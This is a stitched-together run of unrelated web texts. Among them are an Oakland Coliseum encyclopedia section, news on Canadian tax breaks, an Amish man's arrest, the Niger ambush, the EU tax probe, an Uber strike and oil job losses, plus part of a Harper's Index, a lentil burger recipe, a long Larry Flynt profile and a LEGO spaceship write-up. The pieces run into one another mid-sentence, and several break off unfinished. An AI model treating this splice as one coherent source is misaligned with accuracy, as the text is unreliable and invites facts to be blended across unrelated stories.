Davis [ edit ] One feature of the 1996 expansion was the addition of over 10,000 seats in the upper deck that now spans the outfield in the baseball configuration, enclosing the stadium. Due to the stands' height and the loss of the Oakland hills view, A's fans have derisively nicknamed the structure "Mount Davis", after late Raiders owner Al Davis. It has been criticized as an area which has made the Oakland Coliseum look ever more like a football stadium, and not at all one for baseball.[54] From 1997 to 2005, while the A's opened part of the upper deck for baseball, they did not count it as part of listed capacity; while the "official" capacity was 43,962, the "actual" capacity was 55,945. In 2006, the Athletics covered the entire third deck with a tarpaulin (tarp), reducing capacity to 34,077—the smallest capacity in MLB at the time. Even if a game was otherwise sold out, the A's would not sell any seats in the area. It would remain covered except if they made the World Series. The A's said that closing off the upper deck would create a "more intimate environment" for baseball. This drew criticism from fans, the Oakland City Council, and sports marketing analysts baffled at owner Lew Wolff's decision, with some stating that this was cover for a possible move to San Jose (see Cisco Field). There were 20,878 seats covered up by the tarp which would otherwise have been usable for baseball.[2] In 2017, new team President Dave Kaval decided to open several sections in the original third deck that were covered by tarps, though Mount Davis stayed tarped. This increased capacity by 12,103 to 47,170.[1] In February 2013, the Oakland Raiders announced that they would cover 11,000 seats in the Mount Davis section with a tarp to avoid blackouts. This reduces capacity to 53,250, by far the smallest in the NFL (league rules require a minimum capacity of 50,000, and no other stadium, barring the temporary-use Dignity Health Sports Park, seats fewer than 61,000). Under NFL rules, the tarps have to stay in place all season long, no matter if they make the playoffs or not.[55] Sewage [ edit ] On June 16, 2013 following the game against the Seattle Mariners, the Coliseum experienced a severe sewage backup. This led to pipes leaking out puddles of sewage into the showers, offices, visitor training room and storage areas on the clubhouse level of the stadium, all of which are 3 feet (1 m) below sea level. After the game, the A's and Mariners were forced to share the Oakland Raiders locker room, located on the stadium's second floor. According to Coliseum officials, the stadium's aging plumbing system was overtaxed after a six-game homestand that drew close to baseball capacity crowds totaling 171,756 fans.[56] This was not the first time sewage problems cropped up at the stadium. For instance, on one occasion the Angels complained about E. coli in the visiting team's training room after a backup. Backups occur even when no events are taking place there.[57] For instance, Wolff wanted to go to dinner on June 12, 2013 (while the A's were on the road) at one of the Coliseum's restaurants, only to find out that food service had been halted due to a sewage leak in the kitchen.[58] The Coliseum during A's game in September 2008 See also [ edit ]Stephen Harper announced a multi-billion-dollar package of tax breaks Thursday that includes income-splitting for couples with kids — a Conservative election promise from 2011 that critics have said would benefit too few Canadians. The prime minister says the Conservative government is also boosting the universal child care benefit — $160 a month for kids under six, up from $100, plus a new monthly benefit of $60 for children aged six through 17, effective in 2015. The series of tax relief measures will only
Florida dietitian : 2,600 Factor by which a U.S. teenage boy is more likely to vomit or use laxatives to control his weight if he lives in L.A. : 2 Estimated number of high school students prosecuted each year for truancy by the state of Texas : 118,000 By the other forty-nine states combined : 52,000 Percentage of U.S. lesbians, gays, and bisexuals who are out to their mothers : 56 To their fathers : 39 Inflation-adjusted amount by which tuition and fees at the average public research university have increased since 1988 : $18,500 Percentage of that increase attributable to administrative costs : 40 Percentage change since 1996 in the number of U.S. children living in poverty : +12 In the number receiving cash aid from the U.S. government : –60 Portion of U.S. public-school students who are Latino : 1/4 Portion of U.S. children’s books published annually that are by or about Latinos : 1/50 Estimated number of immigrants deported since July 2010 whose children are native-born U.S. citizens : 200,000 Chance that a U.S. firearms dealer depends on trafficking to Mexico for its economic existence : 1 in 2 Factor by which Mexican economic growth has outpaced U.S. growth since 2008 : 2 Portion of Britons born before 1944 who consider the welfare state “one of Britain’s proudest achievements” : 3/4 Of Britons born after 1979 who do : 1/4 Number of European nations among the twenty most populous in the world in 1950 : 7 Today : 1 Ratio of bicycles to people in Amsterdam : 1:1 September Index Sources 1,2 United Nations High Commission for Refugees (N.Y.C.) 3,4 Specialty Medical Supplies (Parkland, Fla.) 5,6 Atwood Partners (N.Y.C.) 7 Federal Reserve Bank of St. Louis 8,9 Criminal Law Reform Project, American Civil Liberties Union (N.Y.C.) 10,11 Central Intelligence Agency (McLean, Va.) 12 Associated Press (N.Y.C.) 13 New York City Police Department 14 Jihawg Ammo (Coeur d’Alene, Idaho) 15 The Polling Institute, Monmouth University (West Long Branch, N.J.) 16 U.S. Department of Defense 17 Cremation Association of North America (Wheeling, Ill.) 18,19 U.S. Department of Defense 20,21 U.S. Department of Health and Human Services 22 Centers for Disease Control and Prevention (Atlanta) 23 Texas Office of Court Administration (Austin) 24 National Center for Juvenile Justice (Pittsburgh) 25,26 Pew Research Center (Washington) 27,28 Robert E. Martin (Danville, Ky.) 29,30 National Center for Children’s Poverty (N.Y.C.)/Center on Budget and Policy Priorities (Seattle) 31 Pew Research Hispanic Center (Washington) 32 Cooperative Children’s Book Center (Madison, Wis.) 33 Colorlines (N.Y.C.) 34 Topher McDougal, University of San Diego 35 The World Bank (Washington) 36,37 NatCen Social Research (London) 38,39 United Nations Department of Economic and Social Affairs (N.Y.C.) 40 City of Amsterdam Press Office.An Amish man accused of sexting a minor with graphic photos was arrested after arriving in a horse-drawn buggy for what he thought was a sexual encounter with the 12-year-old girl, WRTV reports. Willard Yoder, 21, of Milroy, Ind., has been charged with soliciting a minor, the Indianapolis TV station reports. READ: TheSmokingGun.com has posted the police report. Connersville police allege that Yoder had sent the girl 600 texts, nude photos and videos and said he wanted to have sex with her in his buggy. The girl informed her parents of the unsolicited text messages. They pretended to be her to arrange the rendezvous last week as part of a sting operation with police. Yoder was arrested outside a restaurant after he pulled up in the buggy. WRTV says members of the Amish community typically shun any technology but some increasingly use cellphones in some communities. In the police report posted by TheSmokingGun.com, an officer quotes Yoder as saying he thought the girl was 13. He said, according to the report, that he "realized it was a bad decision and had never done anything like this before."The ambush that left four U.S. soldiers dead in Niger earlier this month was partially the result of a "massive intelligence failure," NBC News reported Friday, citing a senior congressional aide. The unnamed aide, who NBC News said had been briefed on the deaths, said that the House and Senate Armed Services committees were looking into the U.S. military's presence in the northwest African country and whether they were receiving adequate support from the Pentagon. The aide said there was no overhead surveillance of the mission involving the 10 U.S. soldiers on patrol, and that there was no American quick-reaction force on hand to back the soldiers up in case they encountered a dangerous situation. ADVERTISEMENT U.S. officials told NBC News that any conclusions regarding an intelligence failure are premature. The Pentagon has opened a formal investigation into the troop's deaths, while lawmakers continue to raise questions about the mission and seek answers from the Trump administration. The body of Sgt. La David Johnson was found 48 hours after troops realized he was missing, and roughly a mile away from the attack, CNN reported on Friday. The U.S. military routinely investigates the death of American soldiers, with Defense Secretary James Mattis James Norman MattisTrump backs off total Syria withdrawal Grass-roots campaign backs Mattis for public office Overnight Defense: Dems tee up Tuesday vote against Trump's emergency declaration \| GOP expects few defections \| Trump doubles number of troops staying in Syria to 400 MORE telling reporters this week that officials were still seeking answers about the attack. "These terrorists are conducting war on innocent people of all religions, they are conducting war on innocent people who have no way to defend themselves," Mattis said. "In this specific case, contact was considered unlikely, but there's a reason we have U.S. Army soldiers there and not the Peace Corps, because we carry guns," he said.Nigel Lythgoe, the old bastard who used to produce American Idol until he quit, and went on to keep talking about American Idol even though no one cared, returned to television last night with his show So You Think You Can Dance, and so did his homophobia. During the Denver auditions, two men auditioned together–Mitchel Kibeland is straight and Misha Belfer is gay, and both needed dance partners–and Nigel started by looking confused, and then just panicked. “This is the first time we’ve had do two guys do…” he said, and couldn’t even think of the dance’s name (the samba). “I think you’d probably alienate a lot of our audience. We’ve always had the guys dance together on the show, but they’ve never really done it in each other’s arm’s before. I’m certainly one of those people that really like to see guys be guys and girls be girls on stage,” Nigel said. The problem with this moronic, juvenile argument, as I previously discussed, is he’s confusing genitals with behavior, and artificially linking the two. People don’t behave specific way because they have a penis or a vagina, although our culture likes to point out and make fun of people who don’t fit into their expected gender role. (For just one of many examples, that was evident during the primaries last year, when Hillary Clinton received criticism for being too masculine and Barack Obama was criticized for being too feminine.) The irony is that Nigel makes arguments about conforming to gender roles and yet keeps his hair long and wavy, which is rather feminine. But I don’t judge him for his hair, I judge him for his stupidity. Last July, the old coot said he didn’t care about sexual orientation but didn’t want “effeminate boys that mince around the stage.” My friend Sam Greenspan calls this homophobia “much more insidious, and, therefore, much more likely to slip into people’s consciousness as being ‘acceptable,'” suggesting as part of his 11 reasons why Idol is better than SYTYCD that “it’s fairly conceivable that someone watching will assimilate the dance-like-a-man-don’t-mince-like-a-gay-guy concept into their beliefs … [a]nd, in the process, a seed of subtle anti-gay bias is unknowingly formed.” Exactly. The two men were eventually eliminated last night, but not before being mocked by the show’s editors, who played James Brown’s “It’s a Man’s Man’s Man’s World” as they left. Incredibly, Misha told After Elton that what actually happened “was more offensive than what they showed.” What did air, however, barely focused on the fact that they weren’t that good, falling down during their routine, and not doing much better once they danced with women. That second audition came about after the other judges critiqued their initial, coupled dance. After Nigel freaked out, Mary Murphy had slightly more insightful criticism; she said “the technique, actually, needs work,” and had issues with them switching who was leading and following because it confused her. So Nigel said, “I don’t think you want to see two guys there and think male-female. … I’d like to see you both dancing with a girl,” he said, and then added, “You know what, you might enjoy that, too.” You know what I’d enjoy, Nigel? Your early retirement.We're working on a new badge design for the 2019 York Rally and would welcome your feedback! Which of the following do you like the most? Did try to do this as a poll, but that allows only two options... See the images at full res: yorkrally.org/wp-content/uploads/2019/02/2019-badges-v3.jpg We'd also love to see if you have any design suggestions - feel free to add images in the comments along with your preferences among the existing designs!... See MoreSee Less Photo "Blue Monday" 2019 - today - is allegedly the most miserable day of the year. We have the answer: book your campsite pitch at the York Rally 2019 and put a smile on your face: you'll save money, get fast-track entry and can be sited with friends and club-mates to make the most of the company and atmosphere of the York Rally! Do it now at: yorkrally.org/visitor-information/campsite-bookings/ or visit that same page for all the info if you prefer to do it by post. We'll look forward to seeing you in the summer!... See MoreSee Less Photo New for the York Rally 2019 - a cycling and general knowledge quiz on Friday evening! Book your team's entry now: yorkrally.org/quiz/ We've hoping the new quiz will be a convivial way for anyone on site on the Friday evening (21st June) to enjoy spending time with friends on site, take advantage of the catering and bar (both will be open), help us offset the costs of the marquee hire AND have a chance to win prizes! Teams will have a table each (for up to six players) and as there's finite space in the Lounge marquee numbers are strictly limited. Team entries cost £10 and are open now for online booking - also on the day if there are tables still available. Many thanks to volunteer quizmaster Pete Dunn who will conduct proceedings with a mix of cycling and general knowledge questions, and may the best answers win! The quiz will start at 7:30 PM. For all the details, and bookings, see: yorkrally.org/quiz/... See MoreSee Less PhotoThe newest document released in the Pacific Northwest Grand Jury case reveals the federal government’s criminalization of anarchists. On January 30, a redacted affidavit was unsealed by order of Judge Richard Jones. The affidavit can be found Redacted Warrant. Throughout the document Geoffrey Maron, an FBI Special Agent assigned to the Joint Terrorism Task Force, repeatedly refers to individuals under investigation as being “known anarchists,” as if the ideology alone is evidence of a crime. Maron admits that “many anarchists are law-abiding,” but continuously points to the “Oregon Conspirators” as being known as part of the anarchist community. Similarly, Maron notes that some of the Portland police had seen many of those individuals at squats in Portland — as if that had any relevance to the investigation other than that it might corroborate that the targeted individuals are, in fact, anarchists. Likewise, in justifying a preemptive investigation of the May Day protests, Maron points to an article appearing in the anarchist magazine Tides of Flame, quoting that writers there “urge everyone there to skip out on school and work to take to the streets.” This passage indicates that, not only was the FBI monitoring the anarchist press in advance of the May Day protest, but the quote suggests that it was precisely the possibility of a popular mobilization under the anarchist banner that prompted law enforcement attention. Elsewhere, Maron also indicates that Portland-based anarchists were personally under surveillance before the may Day protests, and were followed by FBI agents when they left the city. Furthermore, according to Maron’s statement, law enforcement used information gleaned from electronic records to identify “associates and conspirators” of the anarchists under investigation. By referring to “associates” (in addition to “conspirators”), Maron as much as admits that the FBI is casting its net over the entire anarchist movement, not narrowly investigating specific illegal acts. The text of this affidavit further strengthens the argument that the FBI is targeting anarchists for being anarchists, not for any alleged crimes. At present, three people are in jail for refusing to collaborate with the FBI/grand jury witch hunt. The Committee Against Political Repression urges everyone to support Matt Duran, Kteeo Olejnik, and Maddy Pfeiffer, and to demand that U.S. Attorney Jenny Durkan end the investigation immediately. AdvertisementsIntroduction A tasty burger patty that's high in fiber and folate and easy to prepare. Serve on a whole wheat bun with your favorite toppings. A tasty burger patty that's high in fiber and folate and easy to prepare. Serve on a whole wheat bun with your favorite toppings. Number of Servings: 8 Ingredients 1 cup uncooked lentils 1 cup uncooked brown rice 1-1/2 cups carrots, finely grated 1/2 tsp garlic powder 1-1/2 cups uncooked oatmeal 1 tsp season salt 1 small onion, finely grated Directions Cook lentils and rice in 4 cups water for 45 minutes, simmering over low heat in a covered pan. Allow to cool. Add remaining ingredients and mix well. Shape into patties and cook on griddle or pan (may spray with non-stick spray) over medium heat, until nicely browned (about 6 minutes per side).The inquiry will also examine Starbucks’s tax treatment by the Netherlands and the tax arrangements in Luxembourg for Fiat Finance and Trade, a unit of the Italian automaker. Mr. Almunia said corporate tax practices in Britain and Belgium would come under the spotlight, though he mentioned no companies by name on Wednesday. Ireland said it would contest the premise of the investigation, while Apple said that it had “received no selective treatment from Irish officials” and that it “is subject to the same tax laws as scores of other international companies doing business in Ireland.” Apple also noted that it was the second-largest employer in Cork, an Irish city, and that it had added 5,000 jobs in the European Union in the last three years. “Success and growth come from the hard work of our Irish employees not from any special tax deal with the Irish government,” it said. In a statement, Starbucks said it complied with all relevant tax rules, laws and guidelines, and was studying the announcement. The Dutch government said it would cooperate with the commission but had “confidence” that no illegal aid would be found in “one specific case” concerning Starbucks. The tax practices questioned by the commission were “robust and based on a thorough assessment” as well as “positive for our business climate,” it said. In Luxembourg, a spokesman for the Finance Ministry said the government would respond on Thursday. Fiat declined to comment. The effort by the authorities in Brussels is part of a global assault on loopholes that have allowed giant corporations to use complex tax structures to pay small amounts of taxes.If you’re looking for a ride to or from the Super Bowl, the world’s largest unofficial taxi company might not be an option. Some Uber drivers in the greater San Francisco Bay area say they’ll be boycotting the roads during the big game on Sunday, in protest of the ride hailing giant’s wage policies. Claiming that Uber doesn’t allow them to make a livable wage, drivers say they’ll refuse to ferry customers to and from the Super Bowl at Levi’s Stadium in Santa Clara, Calif., in order to make a point. An online flier urges drivers to protest by not accepting Super Bowl fares, noting “this is the biggest stage we will ever get,” the San Jose Mercury News reported. Supporters of the movement are being urged to take to Twitter with the hashtag #UberSuperBowlStrike. San Francisco Uber drivers have already publicly demonstrated against what they feel is unfair treatment at the hands of their overlords at the ride-sharing app. On Tuesday, about 200 Uber drivers drove back and forth from City Hall to company headquarters on Market Street, honking their horns in protest, SF Weekly reported. A boycott of Levi’s Stadium could be especially embarrassing right now for Uber, which recently announced a partnership with the Super Bowl that gives riders and drivers certain perks, such as being able to use taxi stands at various Super Bowl venues. About 40,000 people drive for Uber in the San Francisco Bay Area, and it’s unclear how many of them will participate in the protest. Uber will likely put surge pricing into place during the game, which means contractors could make significantly more money than they usually do—and perhaps have more incentive to ignore their fellow drivers’ calls to protest. In cities around the country, Uber has recently cut prices to combat a seasonal drop in business. Ride rates have been slashed by 10% in San Francisco and by 20% in the South Bay and East Bay areas, for example. Some drivers in affected cities—including Washington, D.C. and New York—have reacted negatively to the price cuts. They say that, contrary to Uber’s assurances that the price drops would not affect their earnings, they now are not able to make a living wage. In San Francisco, Uber claims drivers are guaranteed $35 an hour during peak times. Local drivers, however, say their earnings have fallen as low as $8 an hour, SF Weekly reported.CALGARY — Despite two years of layoffs and heavy cost cutting, jobs in the Canadian energy sector continue to be at the mercy of price swings, says a new report that warns 8,700 more jobs could be lost if prices drop below US$50 per barrel for a sustained period. Enform, a Calgary-based firm that researches labour market trends in the Canadian energy industry, released a study Thursday showing the oilpatch lost 52,500 direct jobs between 2015 and 2016 “along with thousands of indirect jobs.” The study also shows tentative plans by oil and gas companies to rehire laid-off workers could be delayed until 2018 and “further restructuring will occur,” leading to 8,700 jobs losses if West Texas Intermediate oil prices fall well below US$50 per barrel. The WTI benchmark price rose one per cent Thursday morning to US$50.22 per barrel. “Right now, we’re in the middle of the road between two scenarios,” said Carol Howes, Enform’s vice-president of communications. From current levels, she said, layoffs could continue this year if prices fall or the industry would begin rehiring a modest number of employees if prices stabilize and rise. The organization estimates direct job losses in 2015 and 2016 equated to a 25 per cent decrease in the total number of people working directly in the oil patch – and the industry is not expected to recover all of those jobs, even if oil prices rebound. “While the industry is on a path to some job recovery, even with some retirements the industry is not expected to fully regain all of the jobs it lost in the last two years,” Cameron MacGillvray, Enform’s president and CEO, said in a release. The study also shows that if oil prices stabilize or rise, “a modest five-year job recovery will begin in 2017,” Howes said. Enform puts the total number of new direct jobs over the next five years at 17,000 people, which is just a third of the jobs lost. We’re in the middle of the road between two scenarios Consolidation in the energy industry, however, continues to threaten jobs. Enbridge Inc. announced this month that it would layoff 1,000 people following its $37 billion merger with Spectra Energy Corp. Howes said the study does not include staffing projections from recent merger announcements, but does include forecasts of staffing levels from general merger trends. Similarly, some employees may lose their jobs following Canadian Natural Resources Ltd.’s $12.7 billion acquisition of Shell Canada’s oilsands assets, though neither company has said how many people could be affected. Cenovus Energy Inc. announced this week a $17.7 billion acquisition to buy assets from ConocoPhillips and that it would be welcoming some of those employees into its company. Cenvous did not say whether it would reduce staff once the deal closes and it adds employees from ConocoPhillips. Financial Post gmorgan@nationalpost.com Twitter.com/geoffreymorganToday’s book list is based on the “art of writing” which I have read this year. Bird by Bird by Anne Lamott I know, most of you know about this one, and I regard this book as one of the best on the art of writing I have read so far. My Rating 5 out of 5! To learn about the craft of writing is from the masters. Process: The Writing Lives of Great Authors does provide some insight on writers such as Ernest Hemingway, Zadie Smith, Joan Didion, Franz Kafka, David Foster Wallace, and more. My Rating 4 out of 5 The book, How Proust Can Change Your Life has the most fascinating subject: Marcel Proust. My Rating 4 out of 5 David Foster Wallace is one of the authors whom I have discovered this year and I can tell you, he has a lot to teach about writing in his own peculiar way. Lucky Lipsky got to spent some days with him and filed an account in Although of Course you end up Becoming Yourself. My Rating 3 out of 5 Why We Write by Meredith Maran is similar novel to Process: The Writing Lives of Great Authors but concentrates more on contemporary authors such David Baldacci, Sue Grafton, Mary Karr, Jodi Picoult, Ann Patchett and many. My Rating 3 out of 5 Like this: Like Loading...In the spring of 2001, as he was putting an end to his second marriage, Rudolph Giuliani, then mayor of New York City, moved out of the mayor’s mansion and for the next few months bunked at the home of Howard Koeppel, a friend and political supporter. Also sharing the apartment was Mark Hsiao, Koeppel’s longtime boyfriend. Six years later, with Giuliani now one of the leading Republican candidates for president, his interregnum with the Koeppel-Hsiaos has drawn the interest not only of suspicious conservatives but also of Larry Flynt, who, not a conservative, has made a good living off of traditional male needs as the founder and publisher of Hustler magazine (not to mention Barely Legal, Backdoor Babes, and the 21 other publications he owns, along with a Hustler video company, a chain of Hustler strip clubs and sex-toy stores, and a small Hustler Casino in Gardena, California). Flynt has granted me an audience—I’m not bragging; it’s not hard to get Flynt to talk—in his office on the 10th floor of the Flynt Publications building, in Beverly Hills. “Let me ask you something,” he says in a voice that might best be described as a slurred croak. “As mayor of New York, would you live in an apartment with three gay guys?” Flynt’s facts aren’t entirely in order, but his train of thought won’t be derailed. “I’m not gay,” he continues. “I don’t hate gays. But I don’t want to live in an apartment full of them. They’ll bitch and cry and all. That doesn’t bother Giuliani. It doesn’t bother Giuliani to put a dress on to do Saturday Night Live. I don’t trust him. I don’t think he’s electable.” Um, I ask, what exactly is he trying to suggest? That Giuliani, famous for his three marriages—to women—and for his taxpayer-subsidized philandering, is in fact one of the political world’s most successfully closeted homosexuals? “I don’t know whether he’s gay or not,” Flynt replies with a hint of exasperation, “but I’m saying, if you got four friends, all gay, living in the same apartment, how are you going to know which one’s gay? I’m surprised no one’s even asking that question. Why do you break up with your wife and move in with gay guys?” As you are no doubt well aware, America is enduring yet another election cycle, and Flynt, as he has done sporadically over the last three decades, is working hard to insert himself into the middle of it. What that mostly entails—aside from making calculatedly outrageous statements (see above) to Larry King, Geraldo Rivera, and other talk-show hosts—is offering cash bounties to women and men who are willing to dish verifiable dirt on the sort of politician who campaigns on family-values platforms by day and strays from his or her spouse by night. (Or evening, afternoon, or morning.) The immediate goal is a Flynt press conference where said dirt is revealed, followed by more talk-show appearances, and, eventually, an exposé in Hustler between photos of pudenda. The larger goal, Flynt contends, is exposing hypocrisy. For this reason, he insists, he goes after only politicians whose voting records are at odds with their private conduct. “Hypocrisy is the greatest threat to democracy,” he is fond of saying, though it should be noted that democracy probably couldn’t exist without hypocrisy, unless people are going to be out of the loop. Flynt takes the subject so seriously that he says he is working on a book—his third—to be titled Politics, Porn & Power: An Intimate Look at Sexual Hypocrisy and Its Impact on American Politics. At this point in his career, Flynt is arguably the greatest student of the American underbelly since J. Edgar Hoover. Dirt digging and checkbook journalism are passions he first indulged during the mid-70s heyday of naughty congressmen Wilbur Mills and Wayne Hays, whose careers ended when they were found, respectively, in the company of an Argentinean stripper and a blonde secretary from his office who famously couldn’t type. In 1976, Flynt was inspired by those scandals to take out an ad in The Washington Post offering an up-to-$1-million reward to anyone who could provide “documentary evidence of illicit sexual relations with a Congressman, Senator or other prominent officeholder.” Nothing much turned up, at least that became public. (Flynt does have a McCarthy-like habit—or maybe it’s Barnumesque—of insisting he has ripe, drippingly scandalous goods he can’t quite show yet.) A few years later, Flynt published pictures of Representative Larry McDonald, a Georgia Republican, in bed with a mistress; alas, this scoop was undercut in 1983 when McDonald was killed as a passenger on Korean Air Lines Flight 007, which was shot down by the U.S.S.R. when it strayed into Russian airspace. Flynt finally hit a jackpot in 1998 during Bill Clinton’s impeachment hearings, when a second million-dollar offer in the Post turned up evidence that Bob Livingston, a Republican congressman from Louisiana who had just been elected Speaker of the House, had had a string of extramarital affairs. Alerted that Flynt was about to go public, Livingston tried to get in front of the story by admitting that he had strayed, and then resigning. This remains Flynt’s biggest scalp to date, though he denied himself the pleasure of publishing the particulars of Livingston’s extracurriculars after Livingston’s wife, Bonnie, called him up and begged him not to, pleading that her family had been harmed enough. Flynt has always had a beef with moralists—that goes with his professional territory—but the rise of so-called family-values politics, epitomized by the Republican Party’s promotion of the Monica Lewinsky scandal, particularly incensed him. To some eyes, it also legitimized him. “Everyone wanted Clinton’s head on a platter,” he tells me. “They all wanted him, even some of the loyal Democrats. And I thought, Here’s a guy who hasn’t done anything anyone else hasn’t done, including the lying about it, because people lie about sex more than anything else. They lie to get it, they lie about it.” Flynt offers these comments from the far end of a vast football field of an office that might be euphemistically described as “over-decorated,” what with its floral carpets and chintz, its Tiffany lamps (some real, some not), its huge arrangements of fake flowers, its brocade drapes, its green walls hung with gilt-framed reproductions of old-master paintings (some clumsy, some less so). If Belle Watling, Rhett Butler’s favorite madam, had been asked to redesign the Metropolitan Museum of Art, this is what she might have come up with. The one surface devoted to masculine clutter is Flynt’s big wooden desk. It boasts photos of the publisher with Bill Clinton, Jimmy Carter, and Jesse Jackson along with novelty paperweights, documents, dirty magazines, and a DVD of Not the Bradys XXX, a pornographic parody of The Brady Bunch produced by Hustler Video. Flynt, seated low and hunched in his famous gold wheelchair (he was paralyzed by a 1978 shooting), is dwarfed by his surroundings. His hair is a slightly more natural shade of Donald Trump orange, his mouth is often slack, and his eyes can have a deer-in-the-headlights look, but his conversation is sharp, and mischievous energy plays across his face, along with a puckish grin, whenever he’s about to get off a good line, which is often. Think of Dennis the Menace animating Jabba the Hutt—which is a mean comparison, I know, but pulling one’s punches isn’t part of the Flynt ethos. In muckraking terms, 2007 was a very good year for Flynt. In July, his investigators broke the first actual news amid the media frenzy surrounding the escort service run by Deborah Jeane Palfrey, the so-called D.C. Madam, who is being prosecuted in federal court on racketeering and money-laundering charges. Having gained access to Palfrey’s phone bills, Flynt’s investigators—competing against reporters from ABC News and other outlets that also had the records—discovered a series of calls from Palfrey to Senator David Vitter, a Republican from Louisiana who had made abstinence-only sex education a signature issue and is prone to calling heterosexual marriage “the most important social institution in human history.” Like Livingston (whose House seat Vitter had won in a special election in 1999 after the Speaker-elect had resigned), Vitter tried to pre-empt the news, issuing a statement before the story broke in which he confessed, vaguely, to “a very serious sin.” At a press conference a few days later, he said he’d been forgiven by both his God and his teary wife, the second of whom was standing beside him, but also denied “those New Orleans stories”—long-standing rumors, some of which had already surfaced in the Louisiana press, linking him to prostitutes in his home state. That set Flynt up for a second score when, in September, the publisher held a joint press conference in his office with Wendy Ellis, a retired New Orleans prostitute who claimed to have had extensive professional dealings with Vitter; she backed up her story, which her lawyer had approached Hustler with, by passing a polygraph examination that Flynt paid for. “It was just a pure sexual relationship, you know,” Ellis told the gathered reporters about her alleged client. “He would come in, do his business—he was a very clean man, I do have to give him that much—two to three times a week, for four months.” Flynt, who had paid Ellis an undisclosed sum for her story, tried to put matters into perspective at the press conference: “It’s not a question here of muckraking and exposing the perverts. It’s more than that. It’s trying to maintain honesty in government.” In furtherance of this goal, the January issue of Hustler features nude photos of Ellis, taken on a couch in Flynt’s office. She, for one, has nothing to hide. (Except her price for coming forward. “That’s a personal matter between me and Hustler,” she told me, though she acknowledged that her posing for the magazine was from Hustler’s point of view non-negotiable.) ‘We’re getting about all the heads we can put over the mantel now,” Flynt tells me. In June of last year, he placed yet another ad in The Washington Post, again offering up to $1 million for evidence of “illicit sexual or intimate relations” with politicians and other officials; he claims the proposition has borne much fruit. Over the summer, when he began talking to me for this article, he dropped three A-list names—a Republican presidential candidate, a well-known Republican senator, and another prominent conservative official—whose peccadilloes he claimed Hustler was on the verge of exposing, hinting at hooker parties and no-tell-motel liaisons. When we sit down in the fall, these names are off the table, though investigations are said to be ongoing. The ripest target now, Flynt claims, is a closeted gay Republican senator who is not Larry Craig, though last spring Flynt’s investigators were also pursuing rumors about Craig, going as far as putting a surveillance team on him, before his arrest in June for allegedly soliciting sex in a men’s room at the Minneapolis airport. “The other shoe’s going to drop any day,” Flynt says, speaking of the other senator. “It’ll surprise a lot of people that he’s gay. And I’ll bet you he resigns the same day and rides off into the sunset. He won’t be as stupid as Craig,” who after an initial vow to leave office changed his mind and instead fought to reverse his guilty plea to disorderly conduct. But Flynt’s investigation of this second senator is at a tricky pass. “His boyfriend is in a quandary about selling him out. It’s really somewhat of a pathetic situation. But we also have other boyfriends that he’s been involved with.” These earlier boyfriends are apparently willing to go on the record, and have also supplied Flynt’s investigators with corroborating evidence. “We got some motel records. We got some photographs. They don’t involve sex, but sort of romantic walks on the beach and that sort of thing.” While multiple sources are generally deemed a good thing by journalists, for Flynt they can be trouble. “The big thing right now is we’re negotiating money, and it’s always difficult when you have more than one source involved. The guy says, ‘I want a million dollars.’ And we say, ‘Well, wait a minute. You’re the fourth source in the story, so different sources have to split the money.’ ” It would take a master economist to chart the complex interplay of greed, shame, and revenge involved in settling on a price for selling out a lover or, as the case may be, a client. Or maybe—isn’t this often so where powerful men are concerned?—something in between. Not that calculations aren’t made on Flynt’s side as well. “Look,” he says, “if we can take down a well-known U.S. senator, we’ll pay the money—we’ll pay the million dollars. But when you get down to congressmen, they’re a dime a dozen. If they’re from some remote area of the country, they’re not worth very much—maybe 25, 50 grand. But presidents and senators are really big paydays.” That said, he declines to lay out a detailed price list, though he estimates that over the years he has spent in total upwards of $5 million on such matters, between bounties and investigative costs. Here’s a boring question: Is any of this ethical? Checkbook journalism—paying for sources—is frowned on by most journalists and forbidden at most mainstream publications and news outlets. The fear is that, for money, a source will tell you whatever you want to hear, true or not—like waterboarding but with a carrot instead of a stick. Another issue that journalists don’t typically broach is that paying sources opens up a can of worms: If you pay one, do you have to pay all of them? And at a time of shrinking news budgets?! On the other hand, for someone with a book or movie to promote, the publicity generated by an interview, especially a juicy one, could be considered payment in kind. And no one seems to feel that paying former public officials and other newsmakers to write book-length memoirs undercuts their veracity or is in any way unethical. Perhaps what’s good for Simon & Schuster and HarperCollins should be good for The New York Times and even Hustler? I don’t believe that, but you can’t dismiss the question out of hand. As for anyone’s qualms about rummaging around in politicians’ private lives, that train seems to have left the station a decade ago, if not longer. You could even argue that sexual conduct is a relatively weighty issue in an era when presidential elections can be decided by the loudness of a candidate’s sighs during a debate. For his part, Flynt has long since made his peace with being vilified (if it was even an issue for him to begin with; he has, after all, admitted to having had sex with a chicken in his youth). He recounts a favorite anecdote, about an interview Livingston gave The New York Times shortly after the Speaker-elect resigned
ship has two ways of refilling fuel on-the-fly. There are two atmospheric scoops on each side, to suck in the atmosphere during reentry or close fly-bys of planets with an atmosphere. Furthermore, the ship has the old rainbow-color-sparkling PV-panel, which I imagine to be a proton collector instead. The idea is that the panel captures the solar wind, which consists of hydrogen and helium ions, which can be neutralized to form a gas. The gas is then compressed and used as propellant. This idea has been in my mind for a while, I’m not sure if there’s anyone researching it for space applications yet. This way, the ship is independent of refuelling stations and can operate deep into the outer solar system. The ship, like the Integrity, is designed to land vertically. For atmospheric reentry the legs fold in to enclose the engine bells, and immediatly before landing fold out to provide stability on the ground. The ship can be exited through the airlock in between the engines, from which a ladder will be extended to reach ground level. The story behind the Ship In the events taking place in the “Minifigures-on-Mars”-Comic, it is described how this long-range explorer was employed by the “Extreme Exploration” – space company to send a team of mercenaries to Mars to return the Martian Base crew and close down the base. They impovised a prison by converting the cargo sections into locked rooms. Later, when Solomon Blaze and Viking rescued their friends from this ship, Viking stayed on the ship to launch it with the mercenaries on board. Having no fuel left, it was now impossible for the ship to return to Mars. This way, enough time could be bought to bring all Martians into the new secret underground base. If you want more stories from Mars, feel free to read through the LEGO comic on this website! AdvertisementsIn the larger of the rooms in Audiomack headquarters, screens outnumber people four or five to one, and, projected on the wall, the site’s healthy live traffic jumps up and down. With the concentrating white guys in T-shirts, it could be any web startup, except for the recording booth. Founded four years ago with four employees and $4000, Audiomack has a lot of stakeholders for a small company. First among them are artists, whose uploaded songs are the site’s content. “Labels now require you to have an audience before they sign you,” says Audiomack’s David Ponte, who came up with the idea for the site with his friend, co-founder, and fellow rap head for life Dave Macli. “They want to make an educated decision. It’s a Moneyball strategy.” For artists looking to draw listeners by any means available, Audiomack is an opportunity to prove their future potential and a bridge to intermediary goals like verified social media accounts and write-ups in magazines like this one. As much as the music industry complains about infringements on their market, sites like Audiomack serve a 